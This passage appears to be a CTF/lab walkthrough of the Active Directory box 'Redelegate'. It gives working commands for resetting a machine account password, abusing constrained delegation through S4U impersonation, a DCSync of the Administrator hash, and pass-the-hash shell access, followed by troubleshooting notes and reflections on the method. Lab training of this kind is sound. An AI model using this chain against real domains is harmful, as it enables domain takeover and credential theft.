Get-ADObject "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=redelegate,DC=vl" -Properties sPNMappings |
  Select-Object -ExpandProperty sPNMappings

Reset FS01$ password

$newPass = ConvertTo-SecureString '[FS01_NEW_PASSWORD]' -AsPlainText -Force
 
Set-ADAccountPassword -Identity 'FS01$' -Reset -NewPassword $newPass
 
Get-ADComputer -Identity FS01 -Properties PasswordLastSet,pwdLastSet |
  Format-List Name,SamAccountName,PasswordLastSet,pwdLastSet

Verify from Kali:

nxc smb [TARGET_IP] -d redelegate.vl -u 'FS01$' -p '[FS01_NEW_PASSWORD]'

Configure delegation

Get Helen TGT:

impacket-getTGT redelegate.vl/Helen.Frost:'[HELEN_PASSWORD]' -dc-ip [TARGET_IP]
 
export KRB5CCNAME="$(pwd)/Helen.Frost.ccache"
 
klist

Set delegation properties:

bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \
  add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION
 
bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \
  set object 'FS01$' msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'

Verify:

Get-ADComputer -Identity FS01 -Properties userAccountControl,msDS-AllowedToDelegateTo |
  Format-List Name,SamAccountName,userAccountControl,msDS-AllowedToDelegateTo
 
$uac = (Get-ADComputer -Identity FS01 -Properties userAccountControl).userAccountControl
[bool]($uac -band 0x1000000)

Request S4U ticket

impacket-getTGT redelegate.vl/'FS01$':'[FS01_PASSWORD]' -dc-ip [TARGET_IP]
 
export KRB5CCNAME="$(pwd)/FS01\$.ccache"
 
klist
 
impacket-getST 'redelegate.vl/FS01$:[FS01_PASSWORD]' \
  -dc-ip [TARGET_IP] \
  -spn cifs/dc.redelegate.vl \
  -impersonate dc

Export generated ticket:

ls -la *.ccache
 
export KRB5CCNAME="$(pwd)/dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache"
 
klist

DCSync

impacket-secretsdump -k -no-pass dc.redelegate.vl -just-dc-user Administrator

Administrator WinRM

evil-winrm -i redelegate.vl -u 'Administrator' -H [ADMIN_NT_HASH]

Inside Evil-WinRM:

whoami
cd C:\Users\Administrator\Desktop
type root.txt

🧭 Diagnostic Map

Symptom: Initial Nmap scan does not show MSSQL
Meaning: Default scan missed a relevant port, possibly due to timing/dropped probes
Next: Run a full TCP scan and targeted service scan on newly discovered ports

Symptom: FTP .kdbx download shows ASCII warning
Meaning: Binary file may be corrupted
Next: Switch FTP to binary mode and re-download the KeePass database

Symptom: Hashcat returns Salt-value exception
Meaning: The keepass2john output is not accepted by the chosen hashcat mode/format
Next: Use John, which recognizes the KeePass hash correctly

Symptom: John says recovery file is locked
Meaning: Another John process is still running or a stale recovery file exists
Next: Stop the old process or clear the stale session before retrying

Symptom: RockYou cracking takes too long
Meaning: Generic cracking is not using the target-specific clue
Next: Build a small wordlist from SeasonYear!

Symptom: keepassxc-cli show displays Password: PROTECTED
Meaning: Protected fields are hidden by default
Next: Use keepassxc-cli show -s

Symptom: cd or dir fails inside KeePassXC CLI
Meaning: KeePassXC CLI is not a filesystem shell
Next: Use keepassxc-cli ls -R and keepassxc-cli show from the normal shell

Symptom: SQLGuest fails against SMB/LDAP
Meaning: It is probably not a domain account
Next: Test it against MSSQL with local auth

Symptom: SQLGuest is not sysadmin and xp_cmdshell is disabled
Meaning: MSSQL is not an RCE path
Next: Use MSSQL for domain/SID/RID enumeration

Symptom: MSSQL enum keeps running with no new findings
Meaning: The module is still iterating, but the useful user list may already be recovered
Next: Apply a stop condition, save output, and proceed to credential validation

Symptom: Broad password spray would create many attempts
Meaning: Potential lockout risk
Next: Test one high-probability password first

Symptom: Marie authenticates to SMB/LDAP but not WinRM
Meaning: Valid domain user, but no remote shell rights
Next: Use LDAP/BloodHound enumeration

Symptom: MachineAccountQuota: 0
Meaning: New machine account creation is blocked
Next: Look for control over existing computer objects

Symptom: BloodHound shows ForceChangePassword
Meaning: Current principal can reset another account’s password
Next: Choose a user that has better access, such as WinRM rights

Symptom: PowerShell rejects &&
Meaning: Older Windows PowerShell does not support it
Next: Use ; as the separator

Symptom: Get-ADUser does not find FS01$
Meaning: FS01$ is a computer account, not a user
Next: Use Get-ADComputer

Symptom: FS01 has no SPNs
Meaning: Not a Kerberoasting path
Next: Treat FS01 as a controllable AD computer object

Symptom: No explicit cifs/dc.redelegate.vl SPN on DC
Meaning: CIFS may be covered by HOST SPN mappings
Next: Check sPNMappings and proceed with cifs/dc.redelegate.vl

Symptom: nxc or Impacket fails with FS01$
Meaning: Shell may be interpreting $
Next: Single-quote or escape the computer account name

Symptom: getST succeeds but klist still shows FS01$
Meaning: The generated service ticket cache was not exported
Next: Export the exact dc@cifs_...ccache file

Symptom: klist: No credentials cache found for dc.ccache
Meaning: The file name is wrong
Next: Run ls -la *.ccache and export the real generated filename

Symptom: secretsdump fails or ignores ticket
Meaning: Wrong Kerberos cache is active
Next: Verify KRB5CCNAME with klist

Symptom: Evil-WinRM gives authorization error before Administrator hash is used
Meaning: Current credential or auth context is insufficient
Next: Use the recovered Administrator NT hash after DCSync


πŸ”— Related Manual Notes

Field-manual techniques demonstrated on this box:


πŸ“ Personal Notes

Redelegate was one of the better CPTS-style AD boxes because it punished shallow enumeration and rewarded careful chaining.

The first lesson was that full-port scanning matters. The initial scan showed the obvious DC services and anonymous FTP, but the full TCP scan revealed MSSQL. Without MSSQL, the path from KeePass to valid domain usernames would have been much less obvious.

The FTP stage was also a good reminder that file transfer details matter. Downloading a KeePass database in ASCII mode is enough to create uncertainty. Re-downloading in binary mode before cracking was the right move.

The training material was not fluff. SeasonYear! looked like awareness-training content, but it directly described the password pattern. That one clue cracked the KeePass vault and later guided the targeted domain password reuse check.

The KeePass stage reinforced the value of credential classification. Not every recovered credential is a domain credential. SQLGuest looked service-specific, and testing it against MSSQL was the correct move. SMB failure would not have invalidated it.

The MSSQL stage was subtle. SQLGuest was not sysadmin, had no useful app databases, and could not use xp_cmdshell. It still mattered because MSSQL could enumerate domain accounts through SID/RID resolution. That turned one local SQL login into a clean AD username list.

The password spraying step was a good place to practice real-world restraint. Spraying the full season/year list across all users would have worked in many labs, but it is a bad habit. One high-probability password across the discovered users was enough.

BloodHound was essential, but only after understanding the data. The important path was not simply β€œshortest path to Domain Admin.” The useful observations were Marie’s Helpdesk membership, Helpdesk’s ForceChangePassword edges, Helen’s WinRM access, and Helen’s later connection to IT.

The Helen stage was the turning point. whoami /priv showed SeEnableDelegationPrivilege, and BloodHound showed GenericAll over FS01$ through IT. That combination was the real privilege escalation path.

It was tempting to think of FS01 as a file server and go looking for shares or documents. The correct interpretation was that FS01$ was an AD computer object. Control over that object allowed machine-account password reset and delegation configuration.

The delegation part was the most important learning point. RBCD directionality matters. Configuring delegation access to FS01 would not compromise the DC. The useful action was configuring FS01$ to delegate to a DC-hosted service.

The missing explicit CIFS SPN was another good Kerberos lesson. The DC did not list cifs/dc.redelegate.vl directly, but HOST SPN mappings covered CIFS. Checking sPNMappings clarified why the CIFS target still worked.

Kerberos cache handling caused a small but useful gotcha. getST created a long cache filename, not dc.ccache. Exporting the wrong cache made klist fail. Once the exact generated cache was exported, secretsdump worked.

The final DCSync felt clean because every prerequisite had been proven:

Helen had the privilege.
IT had control over FS01$.
FS01$ password reset worked.
FS01$ authentication worked.
Delegation attributes were set.
S4U ticket was generated.
Kerberos cache showed cifs/dc.redelegate.vl.
secretsdump returned Administrator material.

Overall methodology:

Enumerate every exposed service. Treat training and audit files as intelligence. Use small, evidence-driven wordlists. Classify credentials by likely scope. Use MSSQL for enumeration even when RCE is unavailable. Spray carefully. Let BloodHound guide questions, not replace thinking. Understand AD ACL directionality. Treat computer objects as Kerberos principals. Verify delegation attributes before requesting tickets. Always check the active Kerberos cache before running Impacket tools.